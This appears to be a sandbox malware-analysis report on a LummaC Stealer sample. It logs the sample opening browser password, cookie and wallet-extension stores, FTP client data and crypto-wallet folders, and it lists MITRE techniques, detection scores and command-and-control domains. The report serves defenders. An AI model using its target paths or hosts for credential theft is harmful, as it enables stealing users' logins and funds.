Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior

Source: Yara match

File source: Process Memory Space: zhMQ0hNEmb.exe PID: 7660, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: zhMQ0hNEmb.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	861 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
zhMQ0hNEmb.exe	52%	Virustotal		Browse
zhMQ0hNEmb.exe	61%	ReversingLabs	Win32.Trojan.Symmi
zhMQ0hNEmb.exe	100%	Avira	TR/Crypt.TPM.Gen
zhMQ0hNEmb.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://fancywaxxers.shop/~	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeSRrd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fancywaxxers.shop	104.21.112.1	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.68	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
fancywaxxers.shop	false	high
rabidcowse.shop	false	high
wholersorie.shop	false	high
cloudewahsj.shop	false	high
noisycuttej.shop	false	high
nearycrepso.shop	false	high
https://fancywaxxers.shop/api	false	high
framekgirus.shop	false	high
tirepublicerj.shop	false	high
abruptyopsn.shop	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_93.6.dr	false		high
https://duckduckgo.com/chrome_newtab	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_93.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_93.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_123.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_93.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_93.6.dr	false		high
https://fancywaxxers.shop/~	zhMQ0hNEmb.exe, 00000000.00000003.1525849212.0000000000F3F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_93.6.dr, chromecache_91.6.dr, chromecache_124.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://github.com/gewarren	chromecache_93.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_93.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_93.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_93.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://aka.ms/certhelp	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_93.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_93.6.dr	false		high
https://schema.org	chromecache_123.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_104.6.dr, chromecache_123.6.dr	false		high
